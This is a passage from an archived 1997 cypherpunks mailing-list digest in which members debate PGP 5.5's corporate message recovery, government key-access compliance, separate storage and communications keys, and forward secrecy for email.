frantz@netcom.com | nation it is today.        | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 13 Oct 1997 09:27:53 +0800
To: jseybold@pgp.com
Subject: Re: PGP CAKware & IETF controlled Open-PGP standard
In-Reply-To: <v03102811b066e38f4fd0@[205.180.136.41]>
Message-ID: <199710122318.AAA00826@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Jonathan Seybold <jseybold@pgp.com> writes:
> 
> Adam, one aspect of your suggestion puzzles me:
> 	One thing which concerns me most is KNOWING when a message I send
> (or receive) could be read by someone else. The PGP CMR scheme makes this
> very clear: if there is an extra CMR key, the message may be read by
> whomever controls that key, if not, only the recipient may decrypt the
> message.
> 	If, however, the message is secretly re-encrypted to a corporate
> storage key AFTER it is received, I will never know that.

You will if you mark the key with this information.

This is the same approach PGP is already using to provide the GAK
compliant implementation of corporate access to stored emails.

> The reality is that:
> 	1) Organizations have a legitimate need to recover information. You
> can argue about this as much as you want. 

I'm not arguing.  Of course they do.

What I _am_ arguing is that in designing systems to provide companies
with data recovery mechanisms that you should a) not weaken security
more than necessary, and b) that it would be nice if you used a method
which doesn't introduce GAK compliancy for communications keys.

I presented I think in plenty of detail an alternate mechanism which
is both non-GAK compliant, and more secure.  So what is the problem?
Is there a technical flaw in my solution?

> A great many organizations will simply NOT INSTALL systems which do
> not accommodate this. If businesses, law firms and many other
> organizations will not use PGP, we will not have a viable standard.

Agreed 100%.  This is why I went to great pains to demonstrate
precisely how you could achieve recovery of stored messages in a more
secure and non-GAK compliant way.

> which are easy to use and administer, which balance the rights of
> the individual against those of the organization, and which do not
> mislead people inside OR OUTSIDE of the organization.

my proposed mechanism for stored email recovery copes with all that.

> 	This means, I believe, that they should NEVER INVOLVE HIDDEN BACK
> DOORS THAT USERS ARE NOT AWARE OF.

Agreed.  You can flag backdoors with either solution.

> PGP Inc. has tried to work through these issues in a new way. I think that
> we have agonized through a lot of trade-offs and come up with something
> that will really work -- and work well.

It works well enough, but it could be made much more secure, by
separating storage key functionality from transient message key
functionality.  This would also give you the chance to resolve the
articificially created need for GAK compliancy, which arises because
you are being forced by this lack of distinction between key
functionalities to use one key for both long term storage and what
should be transient communications key usage.

> 	There is always the danger that someone is going to use your tools
> in ways that you do not approve of. We are trying to make it as easy as
> possible for people to do the "right" thing, and to discourage them from
> doing the "wrong" thing (like secret snooping).
> 	 With regard to GAK, the objective should be to accommodate
> legitimate corporate needs without setting in place the foundation for GAK.

If that is PGP's aim, they failed most miserably.

> We have tried very hard to do this by creating the foundation for a highly
> flexible and decentralized approach which allows different organizations to
> do things in very different ways. We have also tried to keep everything
> very visible so that every party to a conversation knows exactly how
> "private" that conversation is.

Decentralised control is good, of course, but the pgp5.5 and SMTP
policy enforcer is a ready to roll GAK system.  

The visibility principle is good but is an entirely separable issue.

> 	I think that the sort of thing that PGP Inc is doing is the best
> defense against GAK. It knocks the pins out from under the argument being
> used in this country that corporate message recovery requires a key escrow
> infrastructure, 

Yes, it is better than a government arranged "key recovery" key
infrastructure.

> and will almost certainly lead to a wide variety of
> organization-specific implementations that will be jealously guarded
> and very difficult to corral. I cannot imagine your 80% scenario
> working in the U.S. where there are so many small and medium-sized
> organizations and so much concern about government intrusion. 

If the OpenPGP standard is to include the GAK compliancy features, and
these competing systems use this standard, as long as the sum of the
OpenPGP compliant systems gets to 80% (or whatever) it doesn't matter
whether this is mostly provided by PGP, or mostly by GAK sellout
companies like IBM, or TIS.  It is a dangerous development to have a
largely fielded compatible set of GAK compliant products, whoever the
providers are.

Email encryption needs to be standardised, otherwise people can't talk
to each other.  This suggests to me that one standard _will_ evolve as
the winner, or if there are other standards, they will be backwards
compatible to this main standard.  A very related example of this kind
of principle in action is the fact that most secured web traffic is
secured by Netscape's SSL.

> I do worry a little more about countries like France, but I have yet
> to see any guaranteed "safe" alternative (including yours) that the
> French Government is likely to accept.

The French Government used require licenses for crypto, which were
hard to come by, and crypto without licenses was illegal.  In that
framework you couldn't see them liking PGP period.

More recently they have been swaying towards allowing crypto without
licenses, but only if it is GAK compliant.  PGP 5.5 & SMTP policy
enforcer should be a sell out.  Maybe y'all should pitch it to the
French government and SCSII (their NSA).

> 	I am very interested in seeing criticism and suggestions for
> improvement and would like to see this discussed and debated as openly as
> possible. In particular, I would be interested in how one could reconcile
> your scheme of separate transmission and storage keys with my concern that
> everyone party to an exchange always be informed about who might be able to
> read that exchange.

That's simple: you already have the mechanism, just put one of those
attributes Jon described on the key stating this fact.

> However, I think that some of this discussion should be separated from the
> Open PGP discussion. NO ONE wants to build any sort of mandatory message
> recovery scheme into the base Open PGP specification. PGP Inc itself is
> committed to always providing a base client software product which does not
> implement message recovery keys.

Glad to hear it.  Can we take it from that that PGP won't be arguing
for the GAK compliancy flag Jon Callas described to be part of the
standard then?  This is needed for said non "message recovery" base
client product to also be OpenPGP compliant.

> 	The key structure needs to be flexible enough to accommodate all
> kinds of uses we cannot now envisage. Yes, I believe that CMR keys should
> be supported -- as should a lot of other things we need to talk about.

CMR keys and the way that PGP has designed their associated flags and
the SMTP policy enforcer app are what make PGP GAK compliant.  

Also there are clear security advantages to _never_ send
communications encrypted to two keys.  There are clear security
advantages to separating the functionality of storage and
communications keys.  Communications keys are the most sensitive of
all, and should have the shortest life times.  In some applications
this could be minutes.

> Finally, let's dispense with the non-productive PGP Inc- bashing. We
> founded this company to take something which was going to die because it
> had no company behind it, and push it forward. PGP Inc was the first step
> in that process. Open PGP is the next step.

The PGP bashing PGP observes is an attempt by the pro-privacy crypto
community to influence PGP to re-think the GAK compliancy, and to
point out the more secure way to implement corporate recovery of
stored email messages without GAK compliancy.

I reserve the right to bash any company which attempts to field GAK
compliant software.

> 	Most companies are very ambivalent about "open" standards. Most of
> the time, "open" to them means something which they control and everyone
> else adheres to. PGP Inc, on the other hand, is very committed to the
> spirit of open standards. We understand very well that we will only be
> successful if there is an open and completely interoperable international
> standard.
>
> 	I also want to assure you that all of the things we do get
> extensively debated within PGP. Thus far, we have always been able to work
> out consensus decisions which, I believe, are more sophisticated and better
> thought-out for that debate. In all of this I have never heard ANYONE at
> PGP Inc. suggest that the company add any feature or capability to the
> software in order to appease any government agency. GAK is just as scary to
> us as it is to you.

If PGP wants to make an additional stance against GAK here are my
recommendations:

1. remove GAK compliancy fields
2. scrap SMTP GAK compliancy policy enforcer app
3. separate storage and communications keys 
4. use shorter lived communications keys giving forward secrecy
5. implement corporate recovery of stored mail folders with escrowed
   storage keys

Forward secrecy is _the_ strongest statement you could possibly make
against GAK.

>	Jonathan Seybold
>	Chairman, PGP Inc.

Adam Back
Protocol designer, Cypherpunks list member





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@bywater.songbird.com>
Date: Mon, 13 Oct 1997 16:22:01 +0800
To: cypherpunks <cypherpunks@toad.com
Subject: Re: What's really in PGP 5.5?
In-Reply-To: <b6eadab9ed323417eed33e59a019c8c9@anon.efga.org>
Message-ID: <19971013011450.42022@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, Oct 09, 1997 at 11:36:54PM -0400, Ray Arachelian wrote:
> On Wed, 8 Oct 1997, Anonymous wrote:
> 
> > Second, what if an employee doesn't come back from vacation?  You've got
> > messages sitting in his inbox which go back three weeks.  All encrypted
> > to his personal key, which is gone.
> 
> Shut up Kent, yes, we know it is you posting this rant.  

Actually, no, it wasn't.

> The above fails
> due to one single little key word "his personal key." If it is his
> personal key, then the business has no business reading his email.

Perhaps he has no business having a personal key on a company machine. 
He's a fool if he does, anyway -- if the company wanted to snoop his
key they just go in after hours, install a keyboard sniffer, and grab
his passphrase...the bottom line is, Ray, that if it is on a corporate
machine, the corporation has access, whether the employee thinks so or
not. 

[...]

> This is a stupid arguement.  Go away.

Unwitting self reference is so delicious :-).

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: semprini@theschool.com
Date: Mon, 13 Oct 1997 16:28:29 +0800
To: cypherpunks@toad.com
Subject: Re: Encryption Program
Message-ID: <199710130820.BAA29369@k2.brigadoon.com>
MIME-Version: 1.0
Content-Type: text/plain



Hello. I just posted an encryption program on the web. It uses a key-
generated pseudorandom stream of characters that get XORed with the 
plaintext to produce the cyphertext. For decryption, the same stream 
is run against the cyphertext. (Such is the nature of the XOR 
operation.) You can download the program at:

http://www.brigadoon.com/~semprini/3dmx

I am interested in other people's views, comments, questions, etc. on 
this program. Any questions, comments, etc. can be sent to me at 
"semprini@theschool.com".

Thanks,

Dylan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 13 Oct 1997 09:28:32 +0800
To: hal@rain.org
Subject: Re: negative security aspects of GAK compliance
In-Reply-To: <199710121609.JAA09605@s20.term1.sb.rain.org>
Message-ID: <199710130026.BAA00930@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




I also was pondering this question as to which purpose the current
"encryption key" could be used for; should it become the
"communications key", or should it be the "storage key".

Clearly it could be used for either; and is in fact currently used for
both, which is where the security problem arises.

What you have described (very clearly as always) is the case for
making the current "encryption key" the "communications key".  You are
forced to make this choice because there is only one key available,
and without a communications key .. well you can't communicate :-)

However this leaves the question: what do you use for a "storage key"?


To see why this argument is important, you can see that you have
painted yourself into a corner where you will be forced to admit that
you need to have separate storage and communications keys.  Probably
this doesn't bother you as you didn't react adversely to my earlier
description of how it was a good idea to separate key functionality.
Let me quote:

Hal Finney <hal@rain.org> writes:
> This should facilitate more frequent changeover of encryption keys as Adam
> Back describes, which can be good security practice.  It is a significant
> improvement provided by the new key structures of PGP 5.

It is indeed.  It is also very good for another reason: it allows
corporate escrow of encryption keys without simultaneously allowing
the company to forge signatures.

However you have created a problem for your self in the following
argument which suggests that you must have two encryption keys; one
for storage and one for communication.  It also suggests that my
method for achieving corporate recovery of email is better acheived
without the GAK compliancy field (second recipient) which was my
earlier point.

> Adam wrote:
> 
> > This argues that if people are to insist on using the enforced second
> > recipient model for corporate snooping at all, they should for
> > security reasons be at least using short lived communications keys for
> > the GAK compliancy packet also.
> 
> That sounds reasonable, at least if the first recipient is also using
> short lived keys.  Presumably these kinds of policies would be established
> by the corporate security office.  But certainly if one class of keys
> uses short lived keys then it would be logical for the other class to
> do so as well.

By doing it this way you do claw back some of the security lost by
having a second crypto recipient, as you say.  However you now can't
recover communications past the expiry date of the short lived
corporate key.

As the whole point of corporate message recovery is to guarantee
message recovery of stored messages (or at least this is the user
requirement Jon Callas gave in his post explaining the need for CAK),
you have just thrown away much of that ability.  This is an extreme
pity because you are now faced with a dilemma.

Your dilemma is, do you:

a) use short lived encryption keys (for both user and corporate master
key), and have good security but limited recovery of stored encrypted
email after that short period.  Also the poor user won't be able to
even access, never mind recover his stored encrypted email!

b) or do you use a long term encryption key for the corporate master
key, and hence good recovery of stored encrypted email, but poorer
security (and as an additional disincentive end up building a GAK
compliant system.)


This dilemma highlights really very well my point as to why you really
do need separate storage and encryption keys.  Introduce them, and
both problems vanish.

You can then:

- Have short term communications keys for the employee
- Have long term storage keys for the user escrowed with the company
- Have long term key recovery storage key for the company

It's beautiful, everything falls into place, and it's more secure.

Also as a convenient side-effect the way that you build a corporate
stored message recovery scheme under this system is non-GAK compliant,
which saves you from being screamed at by cypherpunks, and from being
dissed in the NYT and other places.  Presumably given Jonathan
Seybolds clear statement of PGP's aims:

Jonathan Seybold <jseybold@pgp.com> wrote:
>        With regard to GAK, the objective should be to accommodate
> legitimate corporate needs without setting in place the foundation
> for GAK.

this side-effect of removing the GAK compliancy should therefore be
very pleasing to PGP also.

The way that you implement corporate recovery of stored encrypted
messages once you accept the clear need for separate communications
and storage keys is easily derivable from new the key purposes.  It is
basically as easy to circumvent as the previous GAK compliant method.
Several PGP employees commenting on this didn't seem to think
enforceability was that big a deal.  (I agree with them: if all it
takes is to super encrypt with PGP itself, it's not worth losing sleep
over.)

Here's how to do corporate recovery of stored encrypted messages, now
with the new separated storage and communications key functionality:

1. Corp. employee receives encrypted email, the email is encrypted to
the employee's short life time communications key.

- employee decrypts email with pgp5.6 client

- pgp5.6 client encrypts the plaintext to users long term storage
  key, and to the companies recovery key as a second
  "storage-recipient", and places in received mail folder

2. Corp. employee sends encrypted email

- The pgp5.6 mail client encrypts plaintext of email to users long
  term storage key and to the companies long term storage recovery key
  and stores in the sent email folder

- The pgp5.6 mail client encrypts the plaintext of the email to the
  recipients short lived communications key and passes on to the MTA

3. Normal user access of encrypted stored email

- user's email client decrypts stored email with users storage key

3. User forgets password, or dies, or leaves in a huff, company needs
access to stored email

- company uses company recovery key to decrypt users stored email


An alternate set up would be to escrow the users long term storage key
with the company.  Basically equivalent.  But I think it is probably
easier to use multiple recipient as it saves the headaches of having
to securely transmit 10000 users storage keys securely.  Much easier
to install the software with the department/company recovery key bound
into it, and to remote update the company recovery key by fetching the
new from the company key server when it expires.

There are lots of other issues of course, with regard to architecture
of recovery setup.  However there is a basic equivalence between key
escrow and session key recovery methods, and you can acheive all kinds
of departmental escrow jus the same as you could with the previous
system.

> Actually it's likely that the corporation will change its shared access
> keys more frequently than user keys, at least if they are using an
> access model where there are relatively few shared keys.  It will be
> easier to change a few keys which are controlled by corporate officers
> than to get every one of 10000 employees to generate a new key every week.

I can't see any reason why you would not be able to entirely automate
and hide the process of generating new communications keys every week,
every day, or _every communication_.

The process can be handled automatically by the software.

With El Gamal you have a very computationally cheap way to generate
keys other than the first key; discard the private components, and
treat the public modulus as a pre-computed prime as you currently do
for the fast key generation option on EG key generation.


I feel somewhat better about this post than previous ones; I haven't
been rude to PGP, and I feel some progress has been made in clarifying
things.  Perhaps it's just interacting with Hal, who always was one of
the most level headed people on cypherpunks; it's much harder to pick
faults in what he says, and he doesn't make ill thought out political
statements.

I think there are still some issues to resolve if we start to talk
about "per communication" communication key updates, but for per week,
or per month or whatever, I think the above is good.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 13 Oct 1997 09:32:29 +0800
To: aba@dcs.ex.ac.uk
Subject: typo & too much time (Re: Stronghold)
In-Reply-To: <199710121508.QAA04569@server.test.net>
Message-ID: <199710130033.BAA01002@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




I wrote:

> However another aspect to this argument over credentials is a comment
> that arose when another person with a PhD who used the title "Dr" in
> his From line subscribed to the list.  That person was Fred Cohen.
> His above average education in having his PhD didn't seem to reflect
> in his posts, and several people commented on this fact.  It seems to
> be that listing qualifications in From fields is asking for rude
> comments, or it seems to attract criticism :-)
> 
> I can say I like the practice.
    ^^^

typo, I meant to write "I _can't_ say I like the practice".

And yes, Jim Choate, re moderation re-runs some of us do have too much
time on our hands :-)

We make this time by not sleeping much, jeeze it's 1:30am and I'm just
starting to get going on the GAK compliancy argument in another thread
again, and I've got an article submission deadline for tomorrow also,
which I haven't even started yet!

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@bywater.songbird.com>
Date: Mon, 13 Oct 1997 17:30:48 +0800
To: cypherpunks@cyberpass.net
Subject: Re: What's really in PGP 5.5?
In-Reply-To: <199710092259.PAA13153@proxy3.ba.best.com>
Message-ID: <19971013013515.41006@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, Oct 10, 1997 at 11:40:46AM +0100, Adam Back wrote:
> 
[...]
> 
> If the company has an approval system for official statements (seems
> reasonable, if it's a press release, important contractual decision,
> etc), then Alice can send a copy to the legal beagles for the ok, and
> they can send it on.

Isn't it the whole presumption that what Alice is sending is important
company information? That is, that Alice *is* a 'legal beagle' or some
such?  Casual or semi-private email may or may not be allowed, 
depending on how paranoid or repressive the company, but that isn't 
the issue, as I see it.  The issue is 'important company email'.

[...]

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 13 Oct 1997 09:27:17 +0800
To: tcmay@got.net
Subject: Re: D-H Forward Secrecy for E-Mail?
In-Reply-To: <v03102801b066b3b308e0@[207.167.93.63]>
Message-ID: <199710130116.CAA01032@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Tim May <tcmay@got.net> writes:
> At 2:48 AM -0700 10/12/97, Adam Back wrote:
> 
> >Once you acknowledge that it is more secure to have short lived
> >communication keys (which in my view it very clearly is), it should be
> ...
>
> Just what are some of the issues with us getting D-H-type perfect forward
> secrecy with something like e-mail? I assume this must be possible, of
> course, as D-H is used in just these ways. (The Comsec 3DES phone I have
> does this, of course.) (To repeat what has already been said, forward
> secrecy means some of the important keys are not kept or stored, and so a
> subpoena at some future time to produce the keys used in a communication is
> pointless. Cf. Schneier for more.)
> 
> First and foremost as a requirement would be the need for a back-and-forth
> communication, in a real-time or nearly real-time mode. This rules out
> conventional e-mail with its long a variable latencies for delivery. (Not
> to mention diverse clients and their inability to respond automatically!)

It is difficult to have true interactive PFS for the reasons you
describe.

I did spend some time trying to work out a DH variant which could do
forward secrecy entirely non-interactively, but I couldn't find
functions with the desired properties.  If anyone is interested I can
repost the discussions of this, and my current note pad style
scribblings attempting to find said functions.  I am not convinced it
is impossible; perhaps some one will figure it out at some stage.  (I
have been having an intermittent on going discussion with Hal Finney
on this topic on and off list for the last year or so).

In the mean time what is entirely reasonable to do with email, with
pgp5.5 is to use short lived communications keys.  That is
communications keys which are planned to live for 1 week, say.

This would not result in immediate PFS as with interactive DH, but it
will be PFS at the end of the week.

You could do it more frequently if you wished.

As pgp 5.0 uses key servers directly from the mail client (and some
other clients do also), this all works out because you just publish
your new weekly communications key on the keyserver, and this
eliminates the need for interactive communications with your recipient
which true DH PFS requires.  In fact I think you could do this right
now, if you made it clear to others that your key has short expiry in
your .signature or whatever.  As I mentioned in another post David
Wagner currently does just this.


In my last post in the thread with subject:

	Subject: Re: negative security aspects of GAK compliance 

I think I have proved that you can't sensibly use pgp 5.5 with short
lived communications keys without also adding storage keys.  People
are acknowledging the logic that:

1. short term communications keys are more secure
2. it is a security mismatch to use long term CAK keys with short term
   communications keys
3. if you use short term CAK keys, you can't recover stored email for long
4. if you use short term communications keys the recipient you can't
   even read old email folders
5. therefore you need storage keys also
6. as a side effect PGP Inc's GAK compliant implementation of
   corporate access to stored email is fundamentally flawed, and has to
   be replaced with a different non GAK compliant method.

(I'm working on that last point, it does follow, and I think the logic
is sound).

> Forward secrecy might be arrangable even with long-latency links...it seems
> to me. (Through a series of links, compute and store the D-H parameters,
> then use them with conventional e-mail for the "payload" message?)

That is another way to do DH, and also is entirely reasonable.  You
could have this automatically for example if you were using one of the
IPSEC proposals which has forward secrecy at the IP transport layer.
If the systems which your mail went through to be delivered all used
IP level forward secrecy, the SMTP traffic would all be forward
secret.

However this form of forward secrecy has a different security focus;
keys are owned by machines rather than people, which means that it is
probably less secure.  For example you are relying on the security of
the recipients SMTP server.  

Also the last hop of the link, between the recipients POP3 mailbox,
and the users dial up machine is unsecured typically at the moment.
Some IPSEC security on this link (or SSH tunneling) also would be
possible then allowing that last hop to be secured.  However it is a
bit like GSM mobile phone encryption, the links are secured, but the
traffic goes in the clear through the base station.  The traffic ends
up in clear in the recipients ISPs POP3 mailbox.

Of course, you would actually encrypt the payload email also; the
setup is more secure than no forward secrecy, because with out
tampering with machines.

IPSEC with forward secrecy is a _really_ big win for our side, because
it automatically defeats government GAK plans; what use is GAK for
fishing expeditions if you can't get the ciphertext because all the
links are protected with forward secrecy.  It preempts GAKkers in an
area where they have little control: IETF standardisation processes.
The standards process I think refused to accept "for export" key
sizes, on the grounds that the standards should not be weakened by
political considerations.  With an internationally agreed, widely
deployed IPSEC standard with forward secrecy, the GAKkers will be
screwed because to change it will eventually mean cutting yourself off
from the internet, and there will be much software to unpublish, and
much inertia to overcome.

I presume it is for these types of reasons that John Gilmore and
others are enthused with the tracking the IPSEC standardisation
process, and in John's case in organsing his free S/WAN project to
produce a free linux IPSEC implementation.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Mon, 13 Oct 1997 12:08:52 +0800
To: Jon Callas <cypherpunks@cyberpass.net>
Subject: GET OFF THE DIME: PGP 5.5: Attitude
Message-ID: <19971013.035233.attila@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    There is one all important consideration in this debate:
 
        would you rather have PGP, Inc. with its preeminent 
        stature in the defense of freedom, freeware, and
        privacy as well as an established, TRUSTED product 
        defining THE system which meets the need of the 
        free world business, but is not selling out to 
        GAK or CAK? 

        or, would you rather see IBM, HP, TIS and others with 
        their GAK products and potentially even backdoors?
        are any of these vendors even planning to give us 
        source code so we might have a warm and fuzzy feeling
        until someone blows a hole in it 10 years from now?

        or, how about Bigfoot from the jungles of Redmond? 

        PGP is the *only* small business with a name for
        the corporate MIS types.

        the answer is simple; stop arguing, squat, and move.

    When I initially composed this message it read:

        now, if the idealists, and the opinionated pragmatists
        would actually reflect on exactly what Jon Callas said,
        starting with Locke, instead of what they "think" he
        said, they might understand the philosophy for data
        storage and recovery which PGP is proposing versus GAK
        or CAK which PGP is not proposing.

        the more vituperative among us can be dismissed out
        of hand as the issue is less of personal privacy than
        it is one of reasonable property protection, 
        documentation, and defensible security provisions.

    Jon Callas generally stated the problems adequately, and the 
    solutions or conventions, in the running duels; unfortunately
    Jon is on the wrong side in an anarchic forum: as the bear;
    Jon's protagonists are the dogs, and we all know the results of
    the bear pit. truth was not a problem per se, just reason.

    as I think I made clear in my original FOCUS presentation, GAK 
    (or CAK) must be dismissed out of hand. The issue reduces to: by
    what means is general responsibility accomplished? most ignored
    my premise, the few attacked for the same reason they always
    attack: crypto-anarchy, take-no-prisoners, or the only good
    JAKer [sic -freudian] is a dead one.

    historically, all of the elements of multi-key encryption
    with separate keys for signing, transmitting, and archiving
    have been available options with scripts or program wrappers 
    since PGP burst on the freeware zone in its present incarnation.

    Meanwhile, the battles raged on with the defiant pragmatism
    of Adam Back balanced by Bill Gieger's careful affirmation of
    my premises in my prior FOCUS message response to Jon Callas: 
    there is nothing in PGP 5.5 which can not be done with scripts
    and PGP 2.6. In fact, I stated my policy: session key and
    storage key. I had not implemented a separate signature key,
    but will be limiting my current public key to a signature key;
    and, creating a new encryption key. a good point, and well 
    taken.

    other than possibly Bill Gieger, not one of the cypherpunk
    idealists, nor rationalists, in this thread has ever been 
    required to face the realities of an employer.  if they had been
    or are employers, they would understand all the perqs they
    presume are freebies or rights, are mere privileges --including
    personal freedoms not in the interest of the employer during
    company work periods, on company premises, or representing the
    company outside the facilities.

    I empathize with Jon Callas' complaint about the blues, and his 
    plaintive "wanna trade" comment to Adam, but the blues come
    with the turf; likewise, the position of the buck stops here 
    gives the idealists another nail for the coffin they have
    conjured for Jon and PGP "selling out to the enemy".

    the occupation of employer can be one of the least satisfying 
    ways of living; department heads are not far behind --it's all
    about personal (not personnel) relations and diaper changing.
    as a scientist and developer, I never really enjoyed the 
    boss tasks; more than once, I closed out when my function
    deteriorated to leader of the nursery.

    If PGP, hopefully with support, cooperation, and assistance from
    Cypherpunks, can offer workable and tenable solutions, which can
    satisfy the real needs of business for defensible audit trails,
    and which offer basically the same protection as current paper
    storage trails, PGP may be able to deploy their system as the 
    *de facto standard* before any of the other systems take root.

    If PGP does not provide workable solutions for business, from
    simple PGP 2.6 to the SNMP managed "enforcer" and a simplified
    "frying the egg" means of establishing filing systems which meet 
    both the overall needs of the business and the compartmentalized
    needs of restricted area and secure operations, some one else 
    will --and corporate {a,im}morality applies their myopic vision
    only to the bottom line --GAK.

    for instance, if PGP can deliver *encryption management systems*
    which can provide control of the entire spectrum of corporate
    needs, perceived or real, such as:

      * no key escrow or management key (preferred, obviously)
      * session key with storage key (incl. some multi-key)
            group, department, corporate, etc.
      * multiple public key encryption (foolish for external)
      * limited CAK (certainly not desirable)
      * general CAK (an unreasonable sin)
      * GAK (the unpardonable sin)

    they have given business the *choice* of system management. It 
    is important to keep in mind that the basic PGP product will
    do any of these formats as it currently stands with external
    controls. different business models have different levels of
    security requirements. hard core cases will buy in because they 
    understand GAK and their foolish corporate mentality has no
    concern for the individual --get it installed, and the troops
    will push to bring it back to the preferred model using company
    security, not employee privacy, as the argument.  

    better GAK with PGP than asking PGP to refuse to permit the use 
    of their product in a GAK/CAK environment. GAK and CAK have no 
    relationship to PGP --they are a corporate mindset and there is
    absolutely nothing PGP or cypherpunks can do about it --except
    educate the customers that there are far more secure methods of
    date recovery than hanging their shorts out in public for big
    brother to cut the clothesline.

    In other words, why should any cypherpunk, except our resident
    nihilistic anarchist, object if PGP's SNMP system provides
    industry with tools which can deploy the **less** objectionable
    control systems?  or even the objectionable ones?

    if PGP does not or is not willing to provide the systems, and in
    the absence of these tools from an alternative *trusted* source,
    we will see GAK, just plain unabridged GAK, the simplest means to
    control for the Corporate Operations Officer (COO), or some
    other equivalent abomination spreading across the land like the
    ominous black cloud roiling across the land from an oil refinery 
    fire.

    major corporations, most of them victims of many years of
    litigation, subpoenas, and judgements with their peers and 
    with the government will just cave in to GAK --it covers all the
    bases, albeit very insecurely, but that is the fire next year: 
    worry about tomorrow tomorrow.

    despite the general hue and cry of selling out to the enemy 
    which arose in cypherpunks with the PGP defense department 
    contract, as long as PGP 5.5 and its SNMP enforcer are
    implemented as Jon Callas claims, that contract may be the best
    government friend this community has today. PGP will be placing 
    a product which covers the full spectrum of "privacy invasion"
    within the forces of evil.

    there are two ways to define a product in a market of this 
    magnitude, a market which matches David and Goliath. PGP, by
    virtue of its freeware status is the standard the world over;
    by selling to the enemy, PGP will have proven it can be all
    things to all people --use what you need from it.

    Bubba/Goliath has been rumbling and jousting, but his own parts
    are buying the product that works.  a very critical point.

    secondly, by market penetration, F{reeh,uck} is left standing in
    the middle of street, pulling his short arm.

    but if David fails to hurl that stone, Bubba will hand us GAK.

    the real issue in privacy is where does privacy begin, and 
    where do corporate rights and responsibilities start, and do 
    private rights end?

    defined classically: on company premises there is little if any 
    legally enforceable individual privacy regarding communications. 

    in NY brokerages, it is well known that brokers have their usual
    company computers, and a laptop with a modem, often wireless.
    if they are overly concerned there is always ssh --not ppp.
    even then, they are on company premises with company power and
    lights....

    however, this discussion is intended to focus on business 
    communications, not their ethics, or lack thereof and not 
    personal communications which should be inviolate, and performed
    away from work.

    the corporate paper trace works two ways --proving you did what
    you said you would, or would not do --or as I put it to 
    subordinates in a hatchetman cleanup: CYA on the sins of
    commission and omission. 

    proper maintenance of paperwork, in an auditable form, is not 
    just a sieve to collect fodder for big brother; you can, and
    should protect (or hang, of course) yourself with paperwork.
    Obviously, if you are engaged in questionable, unethical, or 
    illegal practices, saved paper is dangerous; I can not imagine
    Bill Gate$ archiving notes or email <g?>.

    the real goal is "safe" record keeping, just like paper copies; 
    
    no-one likes employer snooping (or employee snooping). 
    unfortunately, the long running trust and honesty of years
    ago is not justifiable today, so there are rules.

    as for government snooping, give 'em a freeway salute.

    whether it is storage keys for Adam, or session keys, whatever,
    the issue is the same: anything you do to abridge the simplicity
    of the key pair is a potential privacy problem --as well as an 
    additional opportunity for breach of security. 

    the paper equivalent of one encryption key which can be lost is
    placing the paper copy in an access proof, unpickable safe and
    losing the key --and the safe self-destructs when tampered.
    would these same people place their only paper copy in this
    safe? (probably, since "losing" your key is generally 
    described only as your bad karma).
    
    master keys are foolish and I dismiss GAK or CAK out of hand.
    encryption and filing policies which include a session key, a
    department key, or something which gives some sense of
    information security is preferable to the master key.  the more
    diversity, the more security.

    I also believe it is preferable to encode the message twice: 
    once to the recipient(s), the second with the company provided
    session key, whatever level. the logic is that using a separate
    encoding pass (which obviously must be essentially simultaneous)
    is less risky and a little less tacky than sending a message
    with dual keys --small point, but a consideration. it would 
    not be difficult to rework a public key pair engine to dump to
    company records at the same time the communication record is
    released.

    as a comparison to the abuses which inherently will evolve with 
    GAK:  prisoners, convicted felons:  murderers, rapists,
    pedophiles, etc. have more rights than "free" men (even though
    felons' civil rights are stripped for life at the time of
    conviction).

    censors for the incarcerated are only allowed to check incoming
    mail for money, drugs, weapons, eg: contraband; they are not
